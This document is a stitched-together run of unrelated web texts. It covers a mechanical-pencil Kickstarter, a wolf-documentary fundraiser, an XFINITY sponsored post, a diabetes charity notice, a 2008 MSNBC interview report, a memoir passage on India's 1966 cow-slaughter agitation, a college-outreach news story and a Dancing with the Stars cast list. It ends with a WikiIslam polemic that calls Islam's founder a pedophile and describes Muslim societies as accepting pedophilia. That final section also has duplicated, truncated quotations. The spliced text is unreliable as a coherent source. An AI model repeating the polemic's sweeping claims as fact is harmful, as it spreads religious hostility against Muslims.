A unique serial number hidden inside each pencil
O’ring seal between the cone and the main body: keeps the cone from coming loose
Hidden screw system that holds the pencil together: an Allen key is provided for disassembly
Optional metal eraser plug: for those that would like to remove the eraser altogether for an even sleeker look
Things that Haven't Changed:
Seamless look: blended by hand to appear as one single piece of metal
Designed and engineered to last a lifetime
Quality guaranteed: if you have any issues, send it back and I will fix it or make you a new one. Simple as that.
Machined from one solid piece of metal, resulting in incredible strength and durability
Using the same engineering and inspection standards used in aircraft engineering
Testament to U.S. manufacturing and design
Left to right: titanium 0.5 mm, copper 0.9 mm, bronze 0.7 mm, stainless steel 0.7 mm
How is it so different from other pencils?
Engineering
I have taken the same high standards I used in my career in aircraft engineering and applied them to the design of a mechanical pencil.
Materials
I only use the highest quality metal. These metals are normally found in high-end watches, not pencils. No rolling, stamping or pressing is used. Instead, the pencils are machined down from one solid piece of metal making them incredibly durable.
U.S. Manufacturing
The same highly skilled American machinists that have been making airplane parts for generations are making this pencil.
Heirloom Quality
We use the same approach that is taken when designing and manufacturing a luxury watch. The result is a product that is so well made and long-lasting that it’s considered a classic.
The Guarantee
We’ve designed the MFD pencil to last a lifetime, but we know things can still happen so we back it up with a very simple policy: if you ever have an issue, send your pencil back and we will fix it or make you a new one.
‘Buy Once’ Philosophy
I’m a believer of buying one quality pencil instead of hundreds of plastic ones. A little less plastic floating around has to be a good thing.
Design Principles
When I decided to design a pencil for myself, I knew I wanted the finished product to:
Have multiple purposes/configurations: one single pencil body that can house any lead size and also function as a stylus
Appear sleek on the outside no matter what is going on in the inside: the MFD pencil hides the intricate workings of its mechanism entirely inside
Not reveal how it was made or put together from first glance
Be a blank canvas that fits into any environment/style
It’s pretty widely accepted that minimal design in buildings can bring peace to your life and workspace. I hope that the pencil can have that same effect, if even in a small amount.
I’ve realized that the design principles above have been with me long before I ever even heard the term ‘minimal design.’ But after running across architect John Pawson’s work and learning more about the minimal design philosophy, I found that I completely identify with it in my design process. I am very proud to say that John Pawson bought two Modern Fuel mechanical pencils and that they now have a place on his desk. He was kind enough to share the words below about them (thank you, John).
Read-Worthy Reviews
The pencil has been reviewed by people I admire in the pen and pencil world. Click on the logo to read the full review.
Testimonials for the Modern Fuel Mechanical Pencil 1.0
John Pawson, Architect
“Apart from enjoying the pencils daily as design tools, there is pleasure in contemplating an object that must clearly contain many intricate parts, but appears as a single piece of milled metal. The pencil’s body has the sleek utility of a bullet or a dart, with this formal simplicity reinforced by attenuated proportions and the absence of any visible joints.
They sit on my desk like a series of ingots, reminding me of the metals we use in building. From the heft of each pencil in the hand, one gets a sense of the individual character of each metal: the density of the brass brings to mind the cast solidity of a submarine propeller shaft, while the aluminium is featherlight like the skin of an aeroplane wing.”
Seamless design
Rain Noe, Core77 Senior Editor
“What most impressed me about Sanderson's design is how he endeavoured to hide the seams. It really does look like the conical tip and the shaft are one solid, machined piece.”
Josh Bloomgarden
"I received my pencil yesterday and it's even more wonderful then I had hoped it would be - incredible design, beautiful and far and away the best mechanical pencil I have ever owned or for that matter ever seen - thanks so much."
Perfectly balanced
James Gifford
"Modern Fuel has a fantastic mechanical pencil that I truly believe will 'last a lifetime.' I've bought several, both for myself and as gifts. The reactions that people have when they see/receive them is always a joy."
Edward L."A very, very well made mechanical pencil. Well balanced and solid, not like the cheap plastic units out there."
Gear Hungry
“Incredibly strong, not to mention stunning.”
We have teamed up with Kickbooster so that you can earn rewards for helping me spread the word. Click the image below to learn more.
Stretch Goals
I am working on new stretch goals! Please stay tuned.
Stretch Goals Reached:
$120,000 (wow!) All add-ons will reduce in price: Eraser plug: reduced from $12 to $8 each Additional mechanisms: reduced from $12 to $10 each Engraving: reduced from $20 to $18 Cork case: reduced from $10 to $8 each Eraser 20 pack: reduced from $10 to $8 Stylus 9 pack: reduced from $10 to $8
$80,000 Each pencil will come with 5 more erasers and 3 more stylus nibs. That should keep them going for you for a good bit longer.
Specifications
Each pencil comes with:
1 x mechanism (options: 0.5 mm, 0.7 mm, or 0.9 mm)
1 x removable clip
1 x clean out rod for removing blockages
1 x cork case
1 x tube of lead (12 sticks)
1 x Allen key for disassembly
1 x Scotch Brite pad for upkeep
1 x pack of stylus tips (3)
1 x pack of extra erasers (5)
Titanium
Length: 145 mm (5.7 in)
Diameter: 9.5 mm (.375 in)
Weight: 27.5 g (.97 oz)
Lead options: 0.5 mm, 0.7 mm or 0.9 mm
Copper
Length: 145mm (5.7 in)
Diameter: 9.5mm (.375 in)
Weight: 47 g (1.66 oz)
Lead options: 0.5 mm , 0.7 mm or 0.9 mm
Bronze
Length: 145 mm (5.7 in)
Diameter: 9.5 mm (.375 in)
Weight: 47 g (1.66 oz)
Lead options: 0.5 mm , 0.7 mm or 0.9 mm
Stainless Steel
Length: 145 mm (5.7 in)
Diameter: 9.5 mm (.375 in)
Weight: 42 g (1.48 oz)
Lead options: 0.5 mm , 0.7 mm or 0.9 mm
Stainless Steel
Stainless steel’s excellent resistance to corrosion and staining and low maintenance is why it is the most used material in the high-end watch industry -- making it a great choice for a pencil. Your stainless steel pencil will keep its clean sleek look even in the harshest environments. The pencil is not too heavy, but heavy enough to feel the heft of quality. The pencil will not dull or patina over time. It is very easy to take care of and will become a trusted member of your life.
Tellurium copper
Copper is one of the few metals that occurs in nature in directly usable metallic form as opposed to needing extraction from an ore. Copper on its own can be soft and dent easily, so by adding tellurium we make it stronger and easier to machine. It also offers natural antimicrobial properties for those worried about germy hands. Copper will patina over time.
Phosphorus Bronze C52100 (CuSn8)
This may be the first time this bronze has been used in a mechanical pencil. It has been used for centuries to make ship fittings and seafaring equipment and more recently found its place firmly in the high-end diving watch industry. It has a vintage-like matte patina, which differs from pencil to pencil depending on the owner's environment and lifestyle, making each pencil beautiful in its own right. Its most outstanding property is its ability to resist corrosion even in seawater. Bronze weighs about 10% more than stainless steel. It reacts with oxygen, which results in its distinctive patina.
Titanium
Titanium is as strong as steel but 45% lighter, all while being unaffected by metal fatigue and cracking. These are the main reasons why titanium is used for parts that spend thousands of reliable hours in the air inside jet engines. Not only is it strong and light, but it has great corrosion resistance. It really is an incredible material. And because it's so tough, it takes longer and more tools to cut it -- hence the added cost.
Pencil with clip
Add-ons
These optional add-ons can be added to your pledge using the survey I will send out after the campaign ends:
Additional mechanisms: $12 each
Engraving: $20
Cork case $10
Eraser plug: $12
Eraser 20 pack: $10
Stylus 9 pack: $10
Pencil with plug. Your plug will match the material you chose for the pencil body.
Engraving can be added using the survey I'll send after the campaign ends
Huge Thank You’s
As always I have to thank Christine Chan of Moth to Flame for bringing the video together. Another huge thank you to Alan Thatcher for capturing the machine shop footage in Chicago. To the gentlemen at Wrightwood Precision for their hard work and a keen eye. To everyone that backed the first campaign and made this possible. To Max from John Pawson for forwarding my email, and to John for taking the time to reply. To Ed Jelley for his amazing photographs. And last but not least, to Catherine Sanderson (The Wife) for her support and extra photographs.
Press
If you work somewhere that's cool enough to write about a mechanical pencil, please check out my press pack
This project is promoted by Jellop, a direct­ response online advertising agency specializing in Kickstarter campaigns on Facebook Ads and Google AdWords.
Baymax, ever the helpful robot, can you help you get to work and get to sleep. The lamp has five modes of use, including fade, smooth breathing, flash, multi-effects, and smooth sleep, the latter of which gradually dims the light over 12 minutes. He’s the ideal nightlight, which definitely seems like it would be in Baymax’ wheelhouse.
Anyway, onto those karate moves. Baymax might not be able to spring to life, but you can move around his arms and head to at least get him in a good karate pose. Points for staying true to the character, there.
~ Aldo Leopold
Director of Photogaphy Lawrence Schweich with Director Julia Huffman and Chris Hunter, Sound.
Filmmaker Julia Huffman travels to Minnesota and into wolf country to pursue the deep intrinsic value of brother wolf and our forgotten promise to him.
We are also so very honored to be backed and supported by legendaries-Bonnie Raitt and Graham Nash.
Our plan is to make our film the high quality production that Medicine of the Wolf deserves. Please keep spreading the word! EVERY dollar HELPS. Thank you so very much.
Medicine of the Wolf will take viewers on a journey to understand the powerful relationship that we have with the wolf by interviewing prominent people who represent the different levels of connection to this ancient and iconic species - from Anishinaabe creation stories that reflect our interconnectivity to all things, to a lifetime of observations of a complex and dynamic family unit, to a wolf scientist expressing his layered findings in an over 50 year study of the delicate web that wolves weave into our ecosystem.
Wolf Pup Ravenwood - Photo by Jim Brandenburg
TESTIMONIALS
"Medicine of the wolf will inspire us to take another look at our most important connection to the wolf and ultimately to our own souls."
~ Brooks Fahy, Predator Defense
“A film like this could really not have come along at a more vital time for wolf conservation. Anti-wolf sentiments nearly led to the extermination of America’s wolves, and just when populations are starting to bounce back, wolves are being hunted and trapped at an alarming rate in several states as we speak, placing this iconic species in jeopardy once again.”
~ Colin McCormack, Manager of The Humane Society of the United State’s ACE program
A HISTORY - WOLF AND MAN
“Canis lupus, the wolf of my imagination and of the northern forest, did indeed roam Minnesota. Once the most abundant large predator on the continent, the wolf had virtually been eliminated from most places. Minnesota remained the only state among the lower 48 where a truly viable population existed.”
~ Jim Brandenburg, Author, BROTHER WOLF
"Spirits of the Forest" - Photo by Jim Brandenburg
There was once a time when wolves and humans co-existed in harmony. Before European interference, there were between 250,000 and 500,000 wolves that roamed the North American wilderness, giving inspiration and spiritual guidance to Native American tribes. This, however, did not stop the wolf from being labeled as a threat to be exterminated. Most inhumane was the use of poisons sanctioned by U.S. federal government initiatives during the 1950s and into the 1960s. In the majority of America and Canada, the grey wolf population either dwindled to near non-existent numbers, or was eradicated completely. In fact, by the 1970s, there were only approximately 700 wolves left in a remote part of the county - the BWCA-Boundary Waters Canoe Area Wilderness in Northern Minnesota.
Graphics by Mackenzie Stern
Graphics by Mackenzie Stern
FROM ENDANGERED TO IN DANGER
After 40 years of protection, grey wolves were recently de-listed from the endangered species act, and their fate handed over to state legislatures. What ensued has been a “push to hunt” in Minnesota and wolf country across the U.S. In Minnesota, a survey of the wolf’s population conducted after the inaugural hunt last winter (2012) showed a drop of more than 700 animals - one in four wolves were reported killed, 298 by farmers/property owners and another 413 by hunting and trapping season. The total population declined by 25 percent. Of the nearly 1,700 wolves in the Rockies, 1,100 (65%) were killed in the last two years. Now, after the 2013 and 2014 wolf hunt, we have lost over one third of the total population in wolf states across the country. Currently, there are said to be 3,000 wolves in the lower 48 states.
Featured in the Film:
Regarded internationally as one of the greatest, nature photographers of our generation, Jim Brandenburg has spent over 44 years photographing wolves at his Minnesota wilderness home. For over three years he directed and filmed the BBC/National Geographic landmark wolf documentary White Wolf, which premiered at the Sundance Film Festival. He has published many bestseller books including Brother Wolf, White Wolf and Chased by the Light, to name a few. A National Geographic photographer for over 30 years, Brandenburg's work has appeared in nearly every important publication in the world; he has been interviewed on every major network on the continent. Brandenburg has been awarded numerous worldwide honors including twice receiving the prestigious NPPA Photographer of the Year; and he has been named a Nikon Legend Behind the Lens.
"I wanted to know this land, see how it functioned, learn of the wolf ’s role. You cannot do that without passion, for in wilderness is truth, and the truth of nature is full of passion, is all about chase and evasion, capture and death, blood and birth. If we fear these things, then it is no wonder we have long feared the wolf. It is nature’s truth. It is our truth."
~ Jim Brandenburg, Author, Brother Wolf
Director Julia Huffman and Jim Brandenburg at Ravenwood, MN
John A. Vucetich, PhD - Wolf Scientist
John A. Vucetich, Wolf Scientist, is the Director of the Isle Royale Wolf-Moose Study, the longest wolf-moose study covering 53 years of history. http://www.isleroyalewolf.org
John's work also focuses on the relationship between ecology, philosophy and ethics. He has authored more than 75 scholarly publications on a range of topics - including wolf-prey ecology, extinction risk, and the human dimensions of natural resource management.
Chi-Ma’iingan/Great Wolf (Larry Stillday) - Tribal Elder
We will visit with Chi-Ma’iingan/Great Wolf (Larry Stillday), Tribal Elder and cultural/spiritual advisor and teacher of the Ojibwe Red Lake Nation in Minnesota, a uniquely sovereign Indian reservation in the United States.
“The Medicine of the Wolf represents: Humility as well as Love, Loyalty, Perseverance, Courage, Stability, and Intuition. In nature, the wolf is the teacher of Humility. The wolf will bow its head not out of fear but out of Humbleness in our presence. When the wolf hunts for food it will take it back to the den for the others before it eats. Each wolf has a place in the whole and yet maintains its individual personality.”
~ Chi-Ma'iingan - the Ojibwe worldview through the teachings of the Seven Grandfathers
Director of Photography Lawrence Schweich & Director of Humane Society, Minnesota, Howard Goldman
Lawrence Schweich, Director of Photography for Medicine of the Wolf
HOW YOUR MONEY WILL HELP
Our plan is to distribute the film as part of a campaign at various universities, wildlife centers, film festivals that have strong environmental and animal protection focus. We want to use the film as an education tool in smaller communities around the country and in wolf territory. It is our hope that you will assist us in coming to brother wolf’s side. Our ultimate goal is to distribute the film worldwide in all media, including television and theatrical release.
Raven ("Wolf-bird") - Photo by Jim Brandenburg
We need your support as we work to raise awareness and give wolves their sanctuary, once again. My hope for Medicine of the Wolf is to bring to the forefront of peoples hearts and minds the value and beauty of wolves, our similarities to them, and their importance in our ecosystem.
Thank you from the bottom of my heart,
Between my professional and personal life, I’m always on the go, but I still have my can’t-miss TV shows, like Scream Queens, which is why I’m glad that XFINITY can help me stay un-spoiled on the go with their Cloud DVR with X1.
As we all know, Google Fiber is headed to Atlanta soon. I considered making the switch myself until I realized that with Google Fiber, you can’t take your recorded shows with you, which means I’d have to be stuck in the house if I wanted to catch up on the latest madness from Chanel, Zayday and the rest of the Scream Queens Kappas.
With Cloud DVR, I can easily take my favorite shows with me and watch them from anywhere I want and, if by chance, I’m home but my roommate already has dibs on the TV, I can stream any channel live on any device in the house! If I had Google Fiber, I’d either have to wait until my roommate is finished or fight her to the death for the remote, and neither of those options sounds too pleasant.
Really, when you think about it, the list of positives to sticking with my XFINITY service over Google Fiber goes on and on.
The X1 Cloud DVR allows for 500 GB of storage, meaning you’ve got tons of shows and movies at your fingertips after downloading and XFINITY offers channels like AMC, NBA TV and NHL Network, which Google Fiber doesn’t (which means all you Walking Dead fans had better make other arrangements).
If you want to watch programs On Demand, you’ll have 148,000 to choose from with XFINITY, compared to the 16,000+ that Google Fiber offers.
When you break it down, sticking with XFINITY just makes more sense all around and Cloud DVR with X1 only sweetens the deal.
Want to see more examples of how XFINITY shines where Google Fiber lacks? Head on over here and let the scrolling begin: http://bit.ly/XFINITYFacts
This Saturday 14th November is World Diabetes Day. To mark the occasion Elefant Traks will be teaming up with Obey Clothing® to stock a limited edition Shepard Fairey ‘Human Trial’ t-Shirt. All proceeds from t-shirt sales will go towards The Human Trial, a feature-length documentary that raises awareness around Type 1 Diabetes and follows one of America’s top research labs in their efforts to find a cure.
There is a personal link with Type 1 diabetes and Elefant Traks, with The Herd’s Sulo (Richard Tamplenizza) diagnosed four years ago after falling seriously ill whilst on tour. Richard comments:”Type 1 diabetes is a complex auto-immune condition, frequently confused with its bigger cousin, Type 2 diabetes. It’s a very difficult disease to manage and, for the moment at least, there is no cure. The health complications that can be caused by the disease are often devastating and sometimes fatal. I’m grateful that Elefant Traks is teaming up Obey and ‘The Human Trial’ filmmakers to raise much-needed awareness around this condition.”
The Obey ‘Human Trial’ t-shirt will be available to pre-order exclusively in Australia via the Elefant Traks store for $40. PRE-ORDER NOW!
TYPE 1 DIABETES FACTS - Type 1 Diabetes is caused by the immune system mistakenly turning on itself, destroying beta cells within the pancreas and removing the body’s ability to produce insulin. Insulin allows the body to process sugar to create energy – without insulin, the body literally starves as it cannot process food.
– Type 1 Diabetics must have a constant supply of insulin through injections or an insulin pump and they test their blood sugar by pricking their fingers at least four times a day. People with type 1 diabetes must be constantly prepared for potential hypoglycaemic (low blood sugar) and hyperglycaemic (high blood sugar) reactions, which can both be life threatening.
-Aside from a shorter than average lifespan, Type 1 diabetics can experience life-threatening complications including eye disease, nerve damage, kidney failure, heart disease and stroke.
THE HUMAN TRIAL is a feature-length documentary directed and produced by Lisa Hepner and Guy Grossman with unprecedented, real-time access to one of America’s top labs – ViaCyte in San Diego, California. This groundbreaking film follows the team’s triumphs and failures in the lab as they attempt to make medical history at a landmark clinical trial in 2016.
OBEY CLOTHING® is a popular streetwear company founded in 2001 by street artist and illustrator Shepard Fairey as an extension to his work in activism. Shepard Fairey was diagnosed with Type 1 Diabetes at the age of 16.
Published: Tuesday November 4, 2008
Print This Email This MSNBC's Joe Scarborough welcomed Democratic National Committee Chairman Howard Dean to his program on Tuesday morning by acknowledging the likelihood of a "historic victory" for Barack Obama.
However, Scarborough, a former Republican Congressman, quickly turned from congratulating Dean to suggesting that the Democratic leadership in Congress would be likely to "overreach" once they enjoyed larger majorities and a president of their own party.
Dean told Scarborough in response that he sounded like he was "parroting" Republican attack ads.
"What do you tell Americans today," Scarborough began, "as they're getting out and voting, that may be concerned that if they give the Democrats the Senate and the House and the White House, that they may be no more responsible than the Republicans when they were given all branches of power or the Clinton administration in '93 and '94?"
"The Clinton administration did some good things," Dean objected. "I'd say give us a chance."
"The Democrats overreached in '93 and '94," insisted Scarborough, "which put Republicans in the House and Senate for the better part of a decade. Tell me Democrats won't make that same mistake again."
"Joe, this election is not about the past," Dean replied. "This is about the future, and Barack is going to run a great administration. We're going to work back toward restoring fiscal responsibility to this country. ... Give us a chance to change America."
"You were considered a moderate governor in Vermont," Scarborough told Dean. "Do you think that Barack Obama is going to be able to deal with Nancy Pelosi and Harry Reid and others in Congress and explain to them that sometimes 'perfect' is the enemy of 'good'?"
"You sound like you're parroting the party line in the last couple of weeks of attack ads," Dean responded. He went on to describe both Pelosi and Reid as "thoughtful" and concluded, "We will move the country forward. We will deliver on our promises."
This video is from MSNBC's Morning Joe, broadcast November 4, 2008.
Download video via RawReplay.com
The year 1966 witnessed a mass agitation against cow slaughter organised by the [Rashtriya Swayamsevak Sangh (RSS)]. The demand was for a complete ban on cow slaughter in the country. It culminated in a huge demonstration lead by sadhus who tried to storm the Parliament house in Delhi. While the Shankaracharya of Puri went on a fast for the cause, the frenzied mob went on a rampage. A 48-hour curfew had to be imposed to control the situation.
It was against this background that the Society for the Promotion of Scientific Temper held a public discussion at the Regional Research Laboratory in Hyderabad in 1967, on the relevance of a ban on cow slaughter, with Dr Pushpa Bhargava (PMB) chairing it. At this meeting, one of the speakers, Dr P. Ramchander, a well-known physician, said, “If we don’t eat the cows, the cows will eat us.” This caught the headlines of newspapers the following day. The statement offended those who were asking for the ban and PMB promptly started receiving verbal threats. Questions were asked as to how could PMB organise such a meeting in a government laboratory.
Subsequently, the Government of India set up a high power committee headed by Justice Sarkar, a former Chief Justice of India, to look into the issue. Guru Golwalkar, the head of RSS, Shankaracharya of Puri, Verghese Kurien (the ‘Milk Man of India’), and H.A.B. Parpia, the director of the Central Food Technological Research Institute, were members of the committee. PMB was summoned to Delhi to give evidence before the committee.
When PMB arrived at Krishi Bhavan to appear before the committee, a man sitting in the waiting room immediately started quizzing him about cow slaughter. His questions were unending: was PMB a Brahmin since Bhargavas are supposed to be Brahmins?; did PMB eat meat?; if he does eat meat he surely does not eat cow’s meat?; how does the body make meat?; and so on. PMB ended up giving the man a crash course in elementary biochemistry, saying that we eat food which has proteins. Those proteins are broken down in our [gastrointestinal] tract into amino acids, which are absorbed into the blood stream, and they go to various organs, where they get reconverted to proteins. But how is milk made, the man asked. Milk is made exactly in the same way as meat, PMB replied. Then why don’t you drink milk instead of eating meat, the man asked. Why don’t you eat meat like you drink milk, because both are made the same way, PMB replied. To PMB’s surprise, this little encounter proved to be a curtain-raiser to what unfolded when he appeared before the committee.
Inside the meeting room, Guru Golwalkar asked PMB exactly the same questions. And when PMB replied to Golwalkar’s question, as to why he did not drink milk instead of eating meat, with another question – that is, why by the same logic did Golwalkar not eat meat instead of drinking milk – Golwalkar went into a fit of rage. It took quite a while for the chairman and Sankaracharya to calm him down. Shankaracharya pleaded with Golwalkar that he was spoiling their case. After PMB came out, he got a slip from Justice Sarkar asking to meet him before he left. Justice Sarkar cheerfully told PMB that he was fantastic and added that the only person who did better than PMB was a professor of Sanskrit who appeared before the committee and quoted from ancient Indian literature on the advantages of eating beef.
As it turns out several years later, while collecting material for a joint paper on biology in India from ancient times to 1900, PMB and I stumbled across the following statement made in the Charaka Samhita:
“The flesh of the cow is beneficial for those suffering from the loss of flesh due to disorders caused by an excess of vayu, rhinitis, irregular fever, dry cough, fatigue, and also in cases of excessive appetite resulting from hard manual work.”
Three decades later, PMB went to see Kurien in Anand, Gujarat, along with a friend. When PMB reminded Kurien about the incident, Kurien told him that over the years when he and Golwalkar became close friends, the latter admitted to him that the cow protection agitation was only a political agitation which he started to actually embarrass the government. Kurien would later describe this episode in his biography, which was titled I Too Had a Dream.
One day after one of our meetings when he had argued passionately for banning cow slaughter, he came to me and asked, “Kurien, shall I tell you why I’m making an issue of this cow slaughter business ?” I said to him, “Yes, please explain to me because otherwise you are a very intelligent man. Why are you doing this ?” “I started a petition to ban cow slaughter actually to embarrass the government,” he began explaining to me in private. “I decided to collect a million signatures, for this work I traveled across the country to see how the campaign was progressing. My travels once took me to a village in Uttar Pradesh. There, I saw in one house a woman who, having fed and sent off her husband to work and her two children to school, took this petition and went from house to house to collect signatures in that blazing summer sun. I wondered to myself why this woman should take such pains. She was not crazy to be doing this. This is when I realised that the woman was actually doing it for her cow, which was her bread and butter, and I realised how much potential the cow has. “Look at what our country has become. What is good is foreign; what is bad is Indian. Who is a good Indian? It’s the fellow who wears a suit and a tie and puts on a hat. Who is a bad Indian? The fellow who wears a dhoti. If this nation does not take pride in what it is and merely imitates other nations, how can it amount to anything ? Then I saw that the cow has potential to unify the country – she symbolises the culture of Bharat. So I tell you what, Kurien, you agree with me to ban cow slaughter on this committee and I promise you, five years from that date, I will have united the country. What I’m trying to tell you is that I’m not a fool, I’m not a fanatic. I’m just cold-blooded about this. I want to use the cow to bring out our Indianness. So please cooperate with me on this.”
The event — dubbed the College Day Gives You ALAS Conference — aims to motivate and educate Latino families in Santa Clara County when it comes to planning for college. ALAS stands for Advancing Latinx Achievement and Success.
University officials invited fifth- through 11-grade students from 32 school districts.
Hernandez, born in Stockton, where he currently resides, spent much of his childhood in Mexico. He shared the pivotal moment when in 1972 he realized he wanted to become an astronaut as he watched Eugene Cernan moon walk in the Apollo 17 mission on a black-and-white television set.
“That’s what I’m going to be,” he remembered telling himself. “The best thing I did that evening was share that dream with my parents.
“My parents never gave me money for school,” he added. “But they gave me something more: that’s to believe in myself.”
Hernandez, now 54, said he was turned down 11 times before being selected as one of 100 individuals to participate in a rigorous vetting process at NASA. After that, he would be turned down a few more times before finally joining the prestigious agency.
He journeyed on the STS-128 shuttle mission, where he oversaw the transfer of more than 18,000 pounds of equipment between the shuttle and the International Space Station and helped with robotics operations.
“We cannot give up on ourselves. We’ve got to believe in ourselves,” Hernandez said.
Saturday’s conference was critical for many Latino families who face significant roadblocks in sending their children to college, often unaware of the resources available to them, said Fernanda Perdomo-Arciniegas, San Jose State’s director of campus and community relations.
“Sometimes we, as Latinos, maybe because we’re often first-generation students or we’re immigrants, don’t know about how the school system actually works,” she said. “So these conferences tell them exactly what the prerequisites are, what the proper channels to go to college are, and what financial aid is available.”
Hosting the event at San Jose State is especially important because it’s often the first time these families step foot on a college campus, she said.
The day included campus tours and a series of workshops on admission and financial aid applications, how to get to college and resources for undocumented students, among other topics.
Mary Perez said she brought her daughter Vanessa, 17, to learn how to fill out college applications and financial aid forms, with the hope that she’ll attend San Jose State next year.
“I want her to get an education, get a degree and a good job so that she can succeed,” Perez said.
Throughout the years in which he was rejected by NASA, Hernandez picked up valuable skills he felt would improve his chances of one day being selected, such as becoming a certified scuba diver, a licensed pilot and even learning Russian. That persistence paid off.
Lisa is the first 'Housewife' to ever make it onto the series which has been turning the first ladies of Bravo down for years! Well the Real Housewives of Beverly Hills star will be shaking her British derriere with partner Gleb Savechenko.
For those worried that Giggy will not be making an appearance, Lisa confirmed: "Giggy is always with me. He's over there." And somewhere Kyle Richards cried big, fat wet tears of lost delusions of grandeur…
CLICK CONTINUE READING FOR THE REST OF THE CAST!
The rest of cast and pairings are as followed:
Aly Raisman – Women's Gymnastics Gold Medalist. Partnered with Mark Ballas
Wynonna Judd – Country Singer. Partnered with Tony Dovolani
Andy Dick – Comedian. Partnered with: Sharna Burgess
D.L. Hughley – Comedian. Partnered with Cheryl Burke
Dorothy Hamill – Olympian, figure skater. Partnered with Tristan McManus
Ingo Rademacher – Actor. Partnered with Kym Johnson
Jacoby Jones – Baltimore Ravens player. Partnered with Karina Smirnoff
Kellie Pickler – Country Singer and former American Idol contestant. Partnered with Derek Hough
Victor Ortiz – Boxer. Partnered with Lindsay Arnold
Zendaya Coleman – Actress and Singer. Partnered with Val Chmerkovskiy
Sean Lowe, this season's Bachelor is also rumored to be added to the cast but not announced until after his season wraps. The announcement is rumored to come during After The Final Rose!
Photo Credit: Nikki Nelson / WENN.com
This is a core topic which contains summaries
of WikiIslam articles related to it
Definition
Pedophilia (US) or paedophilia (UK) is the paraphilia of being sexually attracted to prepubescent or peripubescent children.[1] A person with this attraction is called a pedophile or paedophile.
Some pedophiles are sexually attracted to children only (exclusive pedophiles) whilst others are sexually attracted to both children and adults.[2][3]
In contrast to the generally accepted medical definition, the term pedophile is also used colloquially to denote significantly older adults who are sexually attracted to adolescents below the local age of consent,[4] as well as those who have sexually abused a child.
In contemporary law enforcement definitions, the term "pedophile" is generally used to describe those accused or convicted of the sexual abuse of a minor. Pedophilia is considered a taboo and is illegal in most societies, cultures and religions; except in the Islamic world with regards to Islam.
Scripture
The following are summaries of pages discussing Islam, in relation to pedophilia:
Islamic Writing and Pedophilia
There are many references in authentic Islamic scripture concerning the permissibility of pedophilia.
Allah's Apostle (may peace be upon him) married her when she was seven years old, and he was taken to his house as a bride when she was nine, and her dolls were with her; and when he (the Holy Prophet) died she was eighteen years old.
Sahih Muslim 8:3311 'A'isha (Allah be pleased with her) reported thatand when he (the Holy Prophet) died she was eighteen years old.
Pedophilia in the Qur'an
The Qur'an permits pedophilia. The following Qur'anic verse allows sex with pre-pubescent girls who have not yet menstruated.
and of those too who have not had their courses; and (as for) the pregnant women, their prescribed time is that they lay down their burden; and whoever is careful of (his duty to) Allah He will make easy for him his affair.
Quran 65:4 And (as for) those of your women who have despaired of menstruation, if you have a doubt, their prescribed time shall be three months,; and (as for) the pregnant women, their prescribed time is that they lay down their burden; and whoever is careful of (his duty to) Allah He will make easy for him his affair.
What is being discussed is the Iddat (العدة‎), which is a waiting period a female must observe before she can remarry. According to this verse, the stipulated waiting period for a divorced girl who has not yet menstruated is three months.
Muhammad Fits the Clinical Definition of a Pedophile
Muhammad was a pedophile, even according to the most stringent clinical definition of pedophilia - the DSM-IV-TR:
A. Over a period of at least six months, recurrent, intense sexually arousing fantasies, sexual urges, or behaviors involving sexual activity with a prepubescent child or children (generally age 13 years or younger). Over a period of at least six months, recurrent, intense sexually arousing fantasies, sexual urges, or behaviors involving sexual activity with a prepubescent child or children (generally age 13 years or younger). B. The person has acted on these sexual urges, or the sexual urges or fantasies caused marked distress or interpersonal difficulty. C. The person is at least age 16 years and at least 5 years older than the child or children in Criterion A.
Note: This does not include an individual in late adolescence involved in an ongoing sexual relationship with a 12- or 13-year-old.
PsychiatryOnline - Diagnostic and Statistical Manual of Mental Disorders, Fourth Edition
Muhammad was engaged to Aisha when she was only 6 year old and he was 51, and consummated the marriage while she was still pre-pubescent, aged 9 lunar years old. Thus he fulfilled all three requirements needed for a positive diagnosis.
Muhammad's Companions and Pedophilia
Besides Muhammad himself, his companions also committed pedophilia. Umar was the 2nd caliph of Islam and married Umm Kulthum at a time when she was 10-12 years old. Some sources even say that she was five years old when Umar married her.
she has not yet attained the age (of maturity). 'Umar replied, 'By Allah, this is not true. You do not want her to marry me. If she is underage, send her to me'. Thus 'Ali gave his daughter Umm Kulthum a dress and asked her to go to 'Umar and tell him that her father wants to know what this dress is for. When she came to Umar and gave him the message, he grabbed her hand and forcibly pulled her towards him. 'Umm Kulthum asked him to leave her hand, which Umar did and said, 'You are a very mannered lady with great morals. Go and tell your father that you are very pretty and you are not what he said of you'. With that 'Ali married Umm Kulthum to 'Umar."
Tarikh Khamees, Volume 2, p. 384 ('Dhikr Umm Kalthum') and Zakhair Al-Aqba, p. 168 "'Umar asked 'Ali for the hand of his daughter, Umm Kulthum in marriage. 'Ali replied that. 'Umar replied, 'By Allah, this is not true. You do not want her to marry me. If she is underage, send her to me'. Thus 'Ali gave his daughter Umm Kulthum a dress and asked her to go to 'Umar and tell him that her father wants to know what this dress is for. When she came to Umar and gave him the message, he grabbed her hand and forcibly pulled her towards him. 'Umm Kulthum asked him to leave her hand, which Umar did and said, 'You are a very mannered lady with great morals. Go and tell your father that you are very pretty and you are not what he said of you'. With that 'Ali married Umm Kulthum to 'Umar."
Apologetics
Some Islamic Sources say Aisha was Really 17 or 18 Years Old
Some Muslim apologists have recently claimed that Aisha was actually older than nine lunar years at time of the consummation of her marriage to Prophet Muhammad. They have attempted to explain that Aisha was in fact not nine-years-old as the Sahih hadiths of her own testimony claim, but some other ages derived from misquotations, indirect sources, fuzzy dating techniques and slander. These dubious research techniques have led to several conflicting ages to be proposed for Aisha at the time of consummation, including 12, 14, 15, 17, 18 and 21 years.
This article analyzes every single argument put forward by these apologists, and provides additional information on the origins and history of the "Aisha was older" apologetic arguments, and the only logical purpose behind making them.
On closer inspection of these polemics you will discover that the various claims can be broadly categorized into these categories; unjustified slanders against Hisham ibn Urwah and the Iraqi narrators, the use of non-sahih information to refute otherwise sahih hadiths, the use of secondary and indirect sources in preference of direct testimonies, the use of ‘imprecise’ dating in preference to specific dates and statements of age, the use of misquoted references and erroneous information, the use of incorrect logic, and personal opinion.
Aisha was nine lunar years old at the time her marriage to the Islamic prophet was consummated and there is simply no valid evidence that suggests otherwise. The majority of Muslims today, including both scholars and the general Muslim population, agree. This has been the mainstream Muslim understanding throughout Islam's 1,400 year history, and many of these honest Muslims take offense to these lies propagated by Muslim apologists who are embarrassed by their own prophet's actions.
The Meaning of 'Consummate'
